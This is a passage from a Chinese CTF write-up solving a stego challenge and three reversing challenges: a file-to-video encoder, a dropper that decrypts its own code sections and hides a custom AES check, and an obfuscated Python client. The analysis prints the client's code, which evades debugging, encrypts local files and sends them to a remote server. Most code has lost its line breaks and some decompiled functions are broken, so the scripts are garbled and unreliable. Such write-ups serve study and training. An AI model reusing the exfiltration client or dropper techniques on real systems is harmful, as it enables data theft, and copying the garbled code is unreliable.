len(raw) - expected# dpneg = -10 ** 9prev = [neg] * (max_delta + 1)prev[0] = 1if raw[0] <= 4else0parents = []for r in range(1, height): cur = [neg] * (max_delta + 1) par = [-1] * (max_delta + 1)for d in range(max_delta + 1): best = neg best_pd = -1 lo = max(0, d - 12)for pd in range(lo, d + 1):if prev[pd] > best: best = prev[pd] best_pd = pdif best_pd >= 0: idx_offset = d + r * row_lenif idx_offset < len(raw): cur[d] = best + (1if raw[idx_offset] <= 4else0) par[d] = best_pd parents.append(par) prev = curdefendpoint_score(d): base_score = prev[d] penalty = abs(d - max_delta) * 0.2return base_score - penaltyend_delta = max(range(max_delta + 1), key=endpoint_score)path = [end_delta]for r in range(height - 1, 0, -1): end_delta = parents[r - 1][end_delta] path.append(end_delta)path.reverse()stride = num_channels * widthrows = []prior = bytearray(stride)for r, d in enumerate(path): start = d + r * row_len filter_type = raw[start] filtered = raw[start + 1:start + 1 + stride]try: recon = reconstruct_scanline(filter_type, filtered, prior, num_channels) rows.append(recon) prior = reconexcept ValueError: recon = bytes(stride) rows.append(recon) prior = bytearray(stride)img_data = b''.join(rows)img = Image.frombytes('RGB', (width, height), img_data)img.save(output_file)
拿出来是这样一张。

低位lsb,RGB拼接。能看到zip包。

这里小文件可以用crc32爆破了。

于是恢复出来
pass isc1!xxtLf%fXYPkaA
解压flag.txt,0宽字符。。。。01编码,复原。

zw = ''.join(ch for ch in text if ch in'\u200b\u200c')if not zw: raise ValueError('no zero-width data found') bits = ''.join('0'if ch == '\u200b'else'1'for ch in zw) usable = len(bits) // 8 * 8 raw = bytes(int(bits[i:i + 8], 2) for i in range(0, usable, 8)) try:return raw.decode('utf-8') except UnicodeDecodeError:return raw.decode('latin1')

Re
re1

这里拼了个pyc,拿下来pylingual还原。
# Decompiled with PyLingual (https://pylingual.io)# Internal filename: 'Payload_To_PixelCode_video.py'# Bytecode version: 3.7.0 (3394)# Source timestamp: 2026-01-04 04:02:18 UTC (1767499338)from PIL import Imageimport mathimport osimport sysimport numpy as npimport imageiofrom tqdm import tqdmdeffile_to_video(input_file, width=640, height=480, pixel_size=8, fps=10, output_file='video.mp4'):ifnot os.path.isfile(input_file):returnNone file_size = os.path.getsize(input_file) binary_string = ''with open(input_file, 'rb') as f:for chunk in tqdm(iterable=iter(lambda: f.read(1024), b''), total=math.ceil(file_size / 1024), unit='KB', desc='读取文件'): binary_string += ''.join((f'{byte:08b}'for byte in chunk)) xor_key = '10101010' xor_binary_string = ''for i in range(0, len(binary_string), 8): chunk = binary_string[i:i + 8]if len(chunk) == 8: chunk_int = int(chunk, 2) key_int = int(xor_key, 2) xor_result = chunk_int ^ key_int xor_binary_string += f'{xor_result:08b}'else: xor_binary_string += chunk binary_string = xor_binary_string pixels_per_image = width // pixel_size * (height // pixel_size) num_images = math.ceil(len(binary_string) / pixels_per_image) frames = []for i in tqdm(range(num_images), desc='生成视频帧'): start = i * pixels_per_image bits = binary_string[start:start + pixels_per_image]if len(bits) < pixels_per_image: bits = bits + '0' * (pixels_per_image - len(bits)) img = Image.new('RGB', (width, height), color='white')for r in range(height // pixel_size): row_start = r * (width // pixel_size) row_end = (r + 1) * (width // pixel_size) row = bits[row_start:row_end]for c, bit in enumerate(row): color = (0, 0, 0) if bit == '1'else (255, 255, 255) x1, y1 = (c * pixel_size, r * pixel_size) img.paste(color, (x1, y1, x1 + pixel_size, y1 + pixel_size)) frames.append(np.array(img))with imageio.get_writer(output_file, fps=fps, codec='libx264') as writer:for frame in tqdm(frames, desc='写入视频帧'): writer.append_data(frame)if __name__ == '__main__': input_path = 'payload'if os.path.exists(input_path): file_to_video(input_path)else: sys.exit(1)
简单还原下。
from PIL import Imageimport cv2import mathimport numpy as npfrom tqdm import tqdmcap = cv2.VideoCapture("video.mp4")bits = ""width=640height=480pixel_size=8fps=10total_frames = int(cap.get(cv2.CAP_PROP_FRAME_COUNT))for _ in tqdm(range(total_frames)): ret, frame = cap.read()ifnot ret:break frame = cv2.cvtColor(frame, cv2.COLOR_BGR2RGB)for r in range(height // pixel_size):for c in range(width // pixel_size): x = c * pixel_size y = r * pixel_size pixel = frame[y + pixel_size // 2, x + pixel_size // 2]if np.mean(pixel) < 128: bits += "1"else: bits += "0"cap.release()xor_key = "10101010"recovered_bits = ""for i in range(0, len(bits), 8): chunk = bits[i : i + 8]if len(chunk) == 8: val = int(chunk, 2) ^ int(xor_key, 2) recovered_bits += f"{val:08b}"data = bytearray()for i in range(0, len(recovered_bits), 8): byte = recovered_bits[i : i + 8]if len(byte) == 8: data.append(int(byte, 2))open("1", "wb").write(data)

import hashlibstrs = """8277e0910d750195b448797616e091ad0cc175b9c0f1b6a831c399e2697726614b43b0aee35624cd95b910189b3dc231e358efa489f58062f10dd7316b65649ef95b70fdc3088560732a5ac135644506c81e728d9d4c2f636f067f89cc14862c92eb5ffee6ae2fec3ad71c777531578fc4ca4238a0b923820dcc509a6f75849b8fa14cdd754f91cc6554c9e71929cce7c9f0f895fb98ab9159f51fd0297e236d336d5ebc5436534e61d16e63ddfca327eccbc87e4b5ce2fe28308fd9f2a7baf3cfcd208495d565ef66e7dff9f98764daa87ff679a2f3e71d9181a67b7542122ce4da3b7fbbce2345d7772b0674a318d5e1671797c52e15f763380b45e841ec328f14e45fceea167a5a36dedd4bea25431679091c5a880faf6fb5e6087eb1b2dc4a8a08f09d37b73795649038408b5f33cbb184dd8e05c9709e5dcaedaa0495cf""".splitlines()maps = {}for i in range(0,255): r = hashlib.md5(chr(i).encode()).hexdigest() maps[r] = chr(i)for s in strs: print(maps[s], end="")

re2
int __fastcall main(int argc, const char **argv, const char **envp){ FILE *v3; // rax int v4; // edi _BYTE *v5; // rax void *v6; // rbx signed int v7; // r12d FILE *v8; // rax FILE *v9; // rsi char Str[32]; // [rsp+20h] [rbp-368h] BYREF char Buffer[256]; // [rsp+40h] [rbp-348h] BYREF CHAR v13[272]; // [rsp+140h] [rbp-248h] BYREF char FileName[312]; // [rsp+250h] [rbp-138h] BYREF sub_401A30();if ( (unsigned int)sub_401550() ) { v3 = (FILE *)off_404070();if ( j_fgets(Buffer, 256, v3) ) { Buffer[j_strcspn(Buffer, Control)] = 0; v4 = j_strcmp(Buffer, Str2);if ( v4 ) { v4 = -1; j_puts(aErrorInvalidPa); }else { GetTempPathA(0x104u, v13); sub_401870(Str); j_sprintf(FileName, "%s%s", v13, Str); v5 = j_malloc(0x7AACu); v6 = v5;if ( v5 ) { v7 = (unsigned int)sub_401660(aTvqqaamaaaaeaa, v5, 31404); v8 = j_fopen(FileName, aWb); v9 = v8;if ( v8 ) { j_fwrite(v6, 1u, v7, v8); j_fclose(v9); }else { v4 = -1; } j_free(v6); }else {return -1; } } }else { v4 = -1; j_puts(aErrorReadingPa); } }else { v4 = -1; j_puts(::Buffer); }return v4;}
将一段base64编码的数据存为exe
提取它
data = '''TVqQAAMAAAAEAAAA//8AALgAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAgAAAAA4fug4AtAnNIbgBTM0hVGhpcyBwcm9ncmFtIGNhbm5vdCBiZSBydW4gaW4gRE9TIG1vZGUuDQ0KJAAAAAAAAABQRQAAZ'''# 此处省略完整的数据from base64 import b64decodedata = b64decode(data.replace('\n', ''))with open('output.exe', 'wb') as f: f.write(data)
提取出的exe无壳,但加密逻辑运行时解密
__int64 __fastcall DecryptCode(__int64 a1, constchar *a2){ __int64 v2; // rax __int64 v5; // rbxint v6; // eax __int64 v7; // r12 __int64 v8; // rax _BYTE *v9; // r13 SIZE_T v10; // rsi DWORD flOldProtect; // [rsp+20h] [rbp-48h] BYREFchar Str1[8]; // [rsp+27h] [rbp-41h] BYREFchar v14; // [rsp+2Fh] [rbp-39h] v2 = a1 + *(int *)(a1 + 60); v5 = v2 + *(unsigned __int16 *)(v2 + 20) + 24; v6 = *(unsigned __int16 *)(v2 + 6);if ( !(_WORD)v6 )return0; v7 = v5 + 40LL * (unsignedint)(v6 - 1) + 40;while ( 1 ) { v8 = *(_QWORD *)v5; v14 = 0; *(_QWORD *)Str1 = v8;if ( !strcmp(Str1, a2) )break; v5 += 40;if ( v7 == v5 )return0; } v9 = (_BYTE *)(*(unsignedint *)(v5 + 12) + a1);if ( (strcmp(a2, ".mydata") == 0 ? -86 : 85) == *v9 )return0; v10 = *(int *)(v5 + 16);if ( !VirtualProtect(v9, v10, 0x40u, &flOldProtect) )// rwxreturn0; RC4(v9, v10, pKey, 32); VirtualProtect(v9, v10, flOldProtect, &flOldProtect);return1;}__int64 sub_401A10(){ HMODULE ModuleHandleA; // rbx ModuleHandleA = GetModuleHandleA(0); DecryptCode((__int64)ModuleHandleA, ".mydata");return DecryptCode((__int64)ModuleHandleA, ".hello");}
运行时调试,得到加密的主要逻辑
unsigned __int64 __fastcall sub_404070(_BYTE *a1){unsigned __int16 v1; // axunsigned __int64 v2; // r8 __int64 v3; // raxunsigned __int64 v4; // rbxunsigned __int64 v5; // rax __int64 v6; // rdxunsigned __int64 result; // rax LOBYTE(v1) = *a1; HIBYTE(v1) = a1[5]; v2 = ((unsigned __int64)(unsigned __int8)a1[3] << 56) | ((unsigned __int64)(unsigned __int8)a1[14] << 48) & 0xFFFFFFFFFFFFFFLL | ((unsigned __int64)(unsigned __int8)a1[9] << 40) & 0xFFFFFFFFFFFFLL | ((unsigned __int64)(unsigned __int8)a1[4] << 32) & 0xFFFFFFFFFFLL | ((unsigned __int8)a1[15] << 24) | ((unsigned __int64)(unsigned __int8)a1[10] << 16) & 0xFFFFFF | v1; v3 = (unsigned __int8)a1[8]; BYTE1(v3) = a1[13]; v4 = (unsigned __int64)(unsigned __int8)a1[1] << 40; v5 = ((unsigned __int64)(unsigned __int8)a1[12] << 32) | ((unsigned __int8)a1[7] << 24) | ((unsigned __int64)(unsigned __int8)a1[2] << 16) & 0xFFFFFF0000FFFFFFuLL | v3 & 0xFFFFFF000000FFFFuLL; v6 = (unsigned __int8)a1[6]; *(_QWORD *)a1 = v2; result = ((unsigned __int64)(unsigned __int8)a1[11] << 56) | (v6 << 48) & 0xFFFFFFFFFFFFFFLL | v4 & 0xFFFFFFFFFFFFLL | v5 & 0xFFFFFFFFFFLL; *((_QWORD *)a1 + 1) = result;return result;}__int64 __fastcall sub_404190(unsigned __int8 *a1){unsigned __int8 *v1; // r11unsigned __int8 v2; // r8int v3; // r9dchar v4; // r10int v5; // eaxunsigned __int8 v6; // blunsigned __int8 v7; // siunsigned __int8 v8; // dlunsigned __int8 v9; // diint v10; // r12dbool v11; // sfunsigned __int8 v12; // bpint v13; // edichar v14; // r9int v15; // eaxint v16; // r13dint v17; // ediint v18; // eaxunsigned __int8 v19; // r9char v20; // r10int v21; // r9dint v22; // r12dunsigned __int8 v23; // bpint v24; // edichar v25; // r9int v26; // eaxint v27; // r13dunsigned __int8 v28; // bpint v29; // ediint v30; // eaxchar v31; // r9int v32; // r13dchar v33; // r9unsigned __int8 v34; // bpint v35; // edichar v36; // r10int v37; // eaxint v38; // r13dunsigned __int8 v39; // r10int v40; // eaxchar v41; // r9int v42; // r10dint v43; // ebpint v44; // r10d __int64 result; // raxchar v46; // r9char v47; // r8unsignedint v48; // ebp v1 = a1 + 16;do { v2 = *a1; v3 = 8; v4 = 0; v5 = 2; v6 = a1[1]; v7 = a1[2]; v8 = a1[3]; v9 = *a1;do {if ( (v9 & 1) != 0 ) v4 ^= v5; v10 = (2 * v5) ^ 0x1B; v11 = (v5 & 0x80u) != 0; v5 *= 2;if ( v11 ) v5 = v10; v9 >>= 1; --v3; }while ( v3 ); v12 = a1[1]; v13 = 8; v14 = 0; v15 = 3;do {if ( (v12 & 1) != 0 ) v14 ^= v15; v16 = (2 * v15) ^ 0x1B; v11 = (v15 & 0x80u) != 0; v15 *= 2;if ( v11 ) v15 = v16; v12 >>= 1; --v13; }while ( v13 ); v17 = a1[1]; v18 = 2; v19 = v8 ^ v7 ^ v4 ^ v14; v20 = 0; *a1 = v19; v21 = 8;do {if ( (v17 & 1) != 0 ) v20 ^= v18; v22 = (2 * v18) ^ 0x1B; v11 = (v18 & 0x80u) != 0; v18 *= 2;if ( v11 ) v18 = v22; LOBYTE(v17) = (unsigned __int8)v17 >> 1; --v21; }while ( v21 ); v23 = v7; v24 = 8; v25 = 0; v26 = 3;do {if ( (v23 & 1) != 0 ) v25 ^= v26; v27 = (2 * v26) ^ 0x1B; v11 = (v26 & 0x80u) != 0; v26 *= 2;if ( v11 ) v26 = v27; v23 >>= 1; --v24; }while ( v24 ); v28 = v7; v29 = 8; v30 = 2; a1[1] = v8 ^ v2 ^ v20 ^ v25; v31 = 0;do {if ( (v28 & 1) != 0 ) v31 ^= v30; v32 = (2 * v30) ^ 0x1B; v11 = (v30 & 0x80u) != 0; v30 *= 2;if ( v11 ) v30 = v32; v28 >>= 1; --v29; }while ( v29 ); v33 = v6 ^ v2 ^ v31; v34 = v8; v35 = 8; v36 = 0; v37 = 3;do {if ( (v34 & 1) != 0 ) v36 ^= v37; v38 = (2 * v37) ^ 0x1B; v11 = (v37 & 0x80u) != 0; v37 *= 2;if ( v11 ) v37 = v38; v34 >>= 1; --v35; }while ( v35 ); v39 = v33 ^ v36; v40 = 3; v41 = 0; a1[2] = v39; v42 = 8;do {if ( (v2 & 1) != 0 ) v41 ^= v40; v43 = (2 * v40) ^ 0x1B; v11 = (v40 & 0x80u) != 0; v40 *= 2;if ( v11 ) v40 = v43; v2 >>= 1; --v42; }while ( v42 ); v44 = 8; LODWORD(result) = 2; v46 = v7 ^ v6 ^ v41; v47 = 0;do {if ( (v8 & 1) != 0 ) v47 ^= result; v48 = (2 * result) ^ 0x1B; v11 = (result & 0x80u) != 0LL; result = (unsignedint)(2 * result);if ( v11 ) result = v48; v8 >>= 1; --v44; }while ( v44 ); a1 += 4; *(a1 - 1) = v46 ^ v47; }while ( v1 != a1 );return result;}void __fastcall sub_404940(char *a1, _BYTE *a2, int a3, int a4){ _BYTE *v4; // rax __int64 v5; // r11char v6; // r10int v7; // r12d _BYTE *v8; // r9int v9; // edi _BYTE *v10; // rcxchar v11; // dl __int64 v12; // rbx __int64 v13; // r11 __int64 v14; // r10 __int64 v15; // rsichar v16; // siif ( a3 > 0 ) { v4 = a2; v5 = (__int64)&a1[4 * (a3 - 1) + 4];do { v6 = *a1; a1 += 4; v4 += 4; *(v4 - 4) = v6; *(v4 - 3) = *(a1 - 3); *(v4 - 2) = *(a1 - 2); *(v4 - 1) = *(a1 - 1); }while ( (char *)v5 != a1 ); } v7 = 4 * a4 + 4;if ( a3 < v7 ) { v8 = a2; v9 = a3; v10 = &a2[4 * a3];do { v15 = (unsigned __int8)*(v10 - 4); v12 = (unsigned __int8)*(v10 - 3); v13 = (unsigned __int8)*(v10 - 2); v14 = (unsigned __int8)*(v10 - 1);if ( v9 % a3 ) {if ( v9 % a3 == 4 && a3 == 8 ) { LOBYTE(v15) = pKey[v15 + 288]; LOBYTE(v12) = pKey[v12 + 288]; LOBYTE(v13) = pKey[v13 + 288]; LOBYTE(v14) = pKey[v14 + 288]; } }else { v11 = pKey[v12 + 288]; LOBYTE(v12) = pKey[v13 + 288]; LOBYTE(v13) = pKey[v14 + 288]; LOBYTE(v14) = pKey[v15 + 288]; LOBYTE(v15) = pKey[v9 / a3 + 543] ^ v11; } v16 = *v8 ^ v15; ++v9; v8 += 4; v10 += 4; *(v10 - 4) = v16; *(v10 - 3) = *(v8 - 3) ^ v12; *(v10 - 2) = *(v8 - 2) ^ v13; *(v10 - 1) = *(v8 - 1) ^ v14; }while ( v9 != v7 ); }}__m128i *__fastcall sub_404B60(const __m128i *a1, __int64 a2, __m128i *a3, unsignedint a4, int a5){ __m128i v5; // xmm0 __m128i *v6; // r15char *v7; // rdx __m128i *v8; // raxchar v9; // clchar *v10; // r12 __m128i *v11; // rax __int64 v12; // rdxchar *v13; // rdx __m128i *v14; // raxchar v15; // cl __m128i *v16; // rax __int64 v17; // rdxchar *v18; // rbxchar v19; // al __m128i v21; // [rsp+20h] [rbp-148h] BYREF _BYTE v22[16]; // [rsp+30h] [rbp-138h] BYREF _BYTE v23[296]; // [rsp+40h] [rbp-128h] BYREF v5 = _mm_loadu_si128(a1); v6 = &v21; sub_404940(a2, v22, a4, (unsignedint)a5, v5.m128i_i64[0], v5.m128i_i64[1]); v7 = v22; v8 = &v21;do { v9 = *v7++; v8->m128i_i8[0] ^= v9; v8 = (__m128i *)((char *)v8 + 1); }while ( v8 != (__m128i *)v22 );if ( a5 > 1 ) { v10 = v23;do { v11 = &v21;do { v12 = v11->m128i_u8[0]; v11 = (__m128i *)((char *)v11 + 1); v11[-1].m128i_i8[15] = pKey[v12 + 288]; }while ( v11 != (__m128i *)v22 ); sub_404070(&v21); sub_404190(); v13 = v10; v14 = &v21;do { v15 = *v13++; v14->m128i_i8[0] ^= v15; v14 = (__m128i *)((char *)v14 + 1); }while ( v14 != (__m128i *)v22 ); v10 += 16; }while ( &v23[16 * (a5 - 2) + 16] != v10 ); } v16 = &v21;do { v17 = v16->m128i_u8[0]; v16 = (__m128i *)((char *)v16 + 1); v16[-1].m128i_i8[15] = pKey[v17 + 288]; }while ( v16 != (__m128i *)v22 ); sub_404070(&v21); v18 = &v22[16 * a5];do { v19 = *v18++; v6->m128i_i8[0] ^= v19; v6 = (__m128i *)((char *)v6 + 1); }while ( v6 != (__m128i *)v22 ); *a3 = _mm_load_si128(&v21);return a3;}void __fastcall sub_404CB0(const __m128i *a1, int a2, int a3, const __m128i *a4, __int64 a5){const __m128i *v7; // r14 __int64 m128i_i64; // r12 __m128i *v9; // rax __m128i *v10; // rdx __int8 v11; // r8 __m128i v12; // rax __m128i v13; // [rsp+30h] [rbp-78h] BYREF __m128i v14; // [rsp+40h] [rbp-68h] BYREF __m128i v15; // [rsp+50h] [rbp-58h] BYREF v14 = _mm_loadu_si128(a4);if ( a2 > 0 ) { v7 = a1; m128i_i64 = (__int64)a1[((unsignedint)(a2 - 1) >> 4) + 1].m128i_i64;do { v9 = &v13; v10 = &v14; v13 = _mm_loadu_si128(v7);do { v11 = v10->m128i_i8[0]; v10 = (__m128i *)((char *)v10 + 1); v9->m128i_i8[0] ^= v11; v9 = (__m128i *)((char *)v9 + 1); }while ( v9 != &v14 ); ++v7; a5 += 16; sub_404B60((unsignedint)&v13, a3, (unsignedint)&v15, 8, 14); v12 = v15; *(__m128i *)(a5 - 16) = v15; v14 = v12; }while ( v7 != (const __m128i *)m128i_i64 ); }}_BOOL8 __fastcall sub_404EF0(char *a1){char v1; // dl __int64 i; // rax __int64 v3; // r8int v4; // eaxint v5; // r10dint v6; // ebxchar v7; // r9 __m128i *v8; // rax _BOOL8 result; // rax BOOL v10; // eaxchar v11; // [rsp+2Fh] [rbp-219h] __m128i v12; // [rsp+30h] [rbp-218h] BYREF _QWORD v13[35]; // [rsp+130h] [rbp-118h] BYREF v1 = *a1;if ( *a1 ) {for ( i = 1; i != 241; ++i ) { *(&v11 + i) = v1; v1 = a1[i]; v3 = (int)i;if ( !v1 ) { v4 = i & 0xF; v5 = 16 - v4; v6 = v3 + 16 - v4; v7 = 16 - v4;goto LABEL_6; } } v6 = 256; v7 = 16; v5 = 16; v3 = 240; }else { v6 = 16; v7 = 16; v5 = 16; v3 = 0; }LABEL_6: v8 = (__m128i *)((char *)&v12 + v3);do { v8->m128i_i8[0] = v7; v8 = (__m128i *)((char *)v8 + 1); }while ( v8 != (__m128i *)&v12.m128i_i8[v3 + 1 + (unsignedint)(v5 - 1)] ); sub_404CB0(&v12, v6, (int)(&xmmword_408021 - 2), &xmmword_408021, (__int64)v13); result = 0;if ( v6 == 16 ) { v10 = v13[0] != 0x6243C3D78F1E5E9BLL || v13[1] != 0xF43C3DCEC08637A2uLL;return !v10; }return result;}
实际上就是使用了自定义Rcon的 AES-256-CBC
SBOX = [ ...]INV_SBOX = [0] * 256for i in range(256): INV_SBOX[SBOX[i]] = i# 魔改的 Rcon 常量CUSTOM_RCON = [0x00, 0x9C, 0x10, 0x13, 0x15, 0x19, 0x01, 0x31]defgalois_mult(a, b): p = 0for i in range(8):if b & 1: p ^= a hi_bit_set = a & 0x80 a <<= 1if hi_bit_set: a ^= 0x1B b >>= 1return p % 256definv_mix_columns(state):for i in range(4): c = [state[j][i] for j in range(4)] state[0][i] = galois_mult(c[0], 0x0e) ^ galois_mult(c[1], 0x0b) ^ galois_mult(c[2], 0x0d) ^ galois_mult(c[3], 0x09) state[1][i] = galois_mult(c[0], 0x09) ^ galois_mult(c[1], 0x0e) ^ galois_mult(c[2], 0x0b) ^ galois_mult(c[3], 0x0d) state[2][i] = galois_mult(c[0], 0x0d) ^ galois_mult(c[1], 0x09) ^ galois_mult(c[2], 0x0e) ^ galois_mult(c[3], 0x0b) state[3][i] = galois_mult(c[0], 0x0b) ^ galois_mult(c[1], 0x0d) ^ galois_mult(c[2], 0x09) ^ galois_mult(c[3], 0x0e)definv_shift_rows(state): state[1][1], state[1][2], state[1][3], state[1][0] = state[1][0], state[1][1], state[1][2], state[1][3] state[2][2], state[2][3], state[2][0], state[2][1] = state[2][0], state[2][1], state[2][2], state[2][3] state[3][3], state[3][0], state[3][1], state[3][2] = state[3][0], state[3][1], state[3][2], state[3][3]defadd_round_key(state, round_key):for i in range(4):for j in range(4): state[j][i] ^= round_key[i][j]defkey_expansion(key): w = [[key[4*i], key[4*i+1], key[4*i+2], key[4*i+3]] for i in range(8)]for i in range(8, 60): temp = w[i-1][:]if i % 8 == 0: temp = temp[1:] + temp[:1] temp = [SBOX[b] for b in temp] temp[0] ^= CUSTOM_RCON[i // 8]elif i % 8 == 4: temp = [SBOX[b] for b in temp] w.append([w[i-8][j] ^ temp[j] for j in range(4)])return wdefaes_decrypt_block(ciphertext, expanded_key): state = [[ciphertext[i*4+j] for i in range(4)] for j in range(4)] add_round_key(state, expanded_key[14*4 : 15*4])for round in range(13, 0, -1): inv_shift_rows(state)for i in range(4):for j in range(4): state[j][i] = INV_SBOX[state[j][i]] add_round_key(state, expanded_key[round*4 : (round+1)*4]) inv_mix_columns(state) inv_shift_rows(state)for i in range(4):for j in range(4): state[j][i] = INV_SBOX[state[j][i]] add_round_key(state, expanded_key[0:4])return [state[j][i] for i in range(4) for j in range(4)]# 拼装提取出的所有 Hex 数据key_hex = "C23012AB39101833F8ED4E468DA15D8D8CFBF0726899DC7C846E7ECF32BBDAF8"iv_hex = "AEBA0DBBCA267F9906ED7C70E38D8B11"# 将三块密文拼接在一起block1 = "9B5E1E8FD7C34362A23786C0CE3D3CF4"block2 = "C3B688FF3C9C13D2BB6F49CEFF59A25C"block3 = "36E4619E6061C3BB3F63AF003B3D8DA7"ct_hex = block1 + block2 + block3key = bytes.fromhex(key_hex)iv = list(bytes.fromhex(iv_hex))ct = bytes.fromhex(ct_hex)expanded_keys = key_expansion(list(key))# CBC 解密循环plain = []prev_block = ivfor i in range(0, len(ct), 16): block = list(ct[i:i+16]) dec_block = aes_decrypt_block(block, expanded_keys) plain += [dec_block[j] ^ prev_block[j] for j in range(16)] prev_block = block# 去除 PKCS#7 填充pad_len = plain[-1]if1 <= pad_len <= 16and all(p == pad_len for p in plain[-pad_len:]): plain = bytes(plain[:-pad_len]).decode('utf-8') print(f"\n解密成功: {plain}\n")
re3
pyinstaller,直接拆。拆出来pyc丢给pylingual。
# Decompiled with PyLingual (https://pylingual.io)# Internal filename: 'client.py'# Bytecode version: 3.10.b1 (3439)# Source timestamp: 1970-01-01 00:00:00 UTC (0)import base64import sysimport osimport jsonimport socketimport hashlibimport crypt_coreimport builtinsdef_oe(_d, _k1, _k2, _rn):# ***<module>._oe: Failure: Compilation Errortry: _b = base64.b85decode(_d.encode()) _r = []for _i, _x in enumerate(_b):return ((_k1, _k2, _rn), _i, 3) or ((_k1, _k2, _rn), _i, 3) or ((_k1, _k2, _rn), _i, 3) or ((_k1, _k2, _rn), _i, 3) or ((_k1, _k2, _rn), _i, 3) or ((_k1, _k2, _rn), _i, 3) or ((_k1, _k2, _rn), _i, 3) or ((_k1, _k2, _rn), _i, 3) or ((_k1, _k2, _rn), _i, 3) or ((_k1, _k2, _rn), _i, 3) or ((_k1, _k2, _rn), _i, 3) or ((_k1, _k2, _rn), _i, 3) or ((_k1, _k2, _rn), _r.append(_x, _k if _k elseNone) _s = bytes(_r).decode() _res = []for _c in _s:if _c.isalpha(): _base = ord('A') if _c.isupper() else ord('a') _res.append((chr, ord(_c), _base, _rn, 26, _base))else:if _c.isdigit(): _res.append(str(int(_c), _rn or10))else: _res.append(_c)return''.join(_res)except:return _d_globs = dict(__name__='__main__', __file__=__file__, __package__=None, _oe=_oe)for _k in dir(builtins):ifnot _k.startswith('_'): _globs[_k] = getattr(builtins, _k)_globs['base64'] = base64_globs['sys'] = sys_globs['os'] = os_globs['json'] = json_globs['socket'] = socket_globs['hashlib'] = hashlib_globs['crypt_core'] = crypt_coredef_obf_check():if hasattr(sys, 'gettrace'): _tr = sys.gettrace()if _tr isnotNone:returnFalsereturnTruedef_obf_exec(_code):# ***<module>._obf_exec: Failure: Different bytecodeifnot _obf_check():returnNoneelse: exec(compile, _code, chr(60) | chr(111) | chr(98) | chr(102) | chr(101) | chr(120) | chr(99))_1667 = '...[redacted]...'_obf_exec(base64.b85decode(_1667).decode())
再拆
_j0 = lambda: (30 ^ 126) + (520 % 26)_j1 = lambda: (158 ^ 184) + (820 % 54)_j2 = lambda: (37 ^ 2) + (687 % 25)_j3 = lambda: (72 ^ 112) + (474 % 30)_j4 = lambda: (173 ^ 82) + (257 % 73)_j5 = lambda: (117 ^ 203) + (331 % 54)_j6 = lambda: (242 ^ 46) + (846 % 33)_j7 = lambda: (21 ^ 148) + (425 % 77)_j8 = lambda: (139 ^ 134) + (427 % 21)_j9 = lambda: (245 ^ 62) + (413 % 85)_j10 = lambda: (242 ^ 65) + (892 % 30)_j11 = lambda: (22 ^ 58) + (740 % 59)_j12 = lambda: (139 ^ 248) + (771 % 74)_j13 = lambda: (219 ^ 230) + (262 % 63)_j14 = lambda: (17 ^ 89) + (622 % 38)_j15 = lambda: (229 ^ 205) + (369 % 25)_j16 = lambda: (111 ^ 33) + (433 % 50)_j17 = lambda: (41 ^ 142) + (512 % 21)class_Obf3776:def__init__(self): self._v = 751def_m(self):return self._v * 5#!/usr/bin/env python3import socketimport jsonimport osimport sysimport hashlibimport timesys.path.insert(0, os.path.dirname(os.path.dirname(os.path.abspath(__file__))))import crypt_coreclassCustomBase64: CUSTOM_ALPHABET = _oe("8<<BLok1UrR}_R>27yTmms1djUI&{(7Ls{Apm;c@eJQYZA-rTHu4po}aw559KBaUw?kHpDBVghrW#KRr", 83, 214, 17) STANDARD_ALPHABET = ( _oe("0fj{dfJO_COA?e)7n4^Mo>&>3T^^WT1BYWEqGTnZX)3I6F|~Czuy#AYdpNp$J-J~b;VEk7AYtVtX5cz}", 83, 214, 17) ) ENCODE_TABLE = str.maketrans(STANDARD_ALPHABET, CUSTOM_ALPHABET) DECODE_TABLE = str.maketrans(CUSTOM_ALPHABET, STANDARD_ALPHABET) @classmethoddefdecode(cls, data: str) -> bytes:import base64 std_b64 = data.translate(cls.DECODE_TABLE)return base64.b64decode(std_b64)SERVER_HOST = ""SERVER_PORT = 9999KEY_B64 = _oe("C7MAupdc5tRBM!52kv4Wmp~Hle`A4N5`t?5nObY+L~6Pz5wdF*y=E$zQv!xZ", 83, 214, 17)KEY = CustomBase64.decode(KEY_B64)FILES_TO_SEND = [_oe("I-p}FvS)q0emD", 83, 214, 17), _oe("B(-BJ_<B6O", 83, 214, 17), _oe("C$MxRtZ99{emD", 83, 214, 17)]def_opaque_true(): _x = 0for _i in range(100): _x += _i * (_i - _i + 1)return _x >= 0def_opaque_false(): _a, _b = 5, 7return (_a * _b) == (_b * _a + 1)def_dead_calc(): _dead = 0for _i in range(50): _dead = (_dead + _i) % 17if _dead > 100: _dead = _dead * 2 + 1return _deaddefencrypt_file(key: bytes, plaintext: bytes) -> bytes: _state = 0 _result = Nonewhile _state < 3:if _state == 0:if _opaque_true(): _result = crypt_core.encode_data(plaintext, key[:16]) _state = 2else: _dead_calc() _state = 1elif _state == 1: _dead_calc() _state = 2elif _state == 2:if _opaque_false(): _result = None _state = 3return _resultdefsend_single_file(sock, filename, plaintext): _s = 0 _ct = None _pl = Nonewhile _s < 5:if _s == 0: _ct = encrypt_file(KEY, plaintext) _s = 1elif _s == 1: _pl = {_oe("B&>2Jvtu`)", 83, 214, 17): filename, _oe("C#-fVpm;c-emD", 83, 214, 17): _ct.hex()} _s = 2elif _s == 2:if _opaque_true(): sock.sendall(json.dumps(_pl).encode(_oe("KfPvt;{", 83, 214, 17)) + b"\n") _s = 4else: _dead_calc() _s = 3elif _s == 3: _dead_calc() _s = 4elif _s == 4:ifnot _opaque_false(): time.sleep(0.1) _s = 5def_verify_cmd(cmd): _state = 10 _hash_val = None _valid = Falsewhile _state < 50:if _state == 10:if len(cmd) > 0: _state = 20else: _state = 49elif _state == 20: _hash_val = hashlib.md5(cmd.encode()).hexdigest() _state = 30elif _state == 30:if _opaque_true(): _valid = _hash_val == _oe("VWK4=qGuqYBxK?sVWlBw<RW0^B4q9&VB;re<0L2U", 83, 214, 17) _state = 40else: _dead_calc() _state = 49elif _state == 40:if _valid: _state = 50else: _state = 49elif _state == 49:returnFalsereturn _validdef_get_server_host(args): _s = 100 _host = Nonewhile _s < 200:if _s == 100:if len(args) > 2: _s = 110else: _s = 120elif _s == 110: _host = args[2] _s = 200elif _s == 120:if _opaque_true(): _host = "" _s = 200elif _s == 200:if _opaque_false(): _host = _oe("Ywsm};Xh>fDF", 83, 214, 17) _s = 201return _hostdefmain(): _state = 0 _sock = None _idx = 0 _printed_header = Falsewhile _state < 100:if _state == 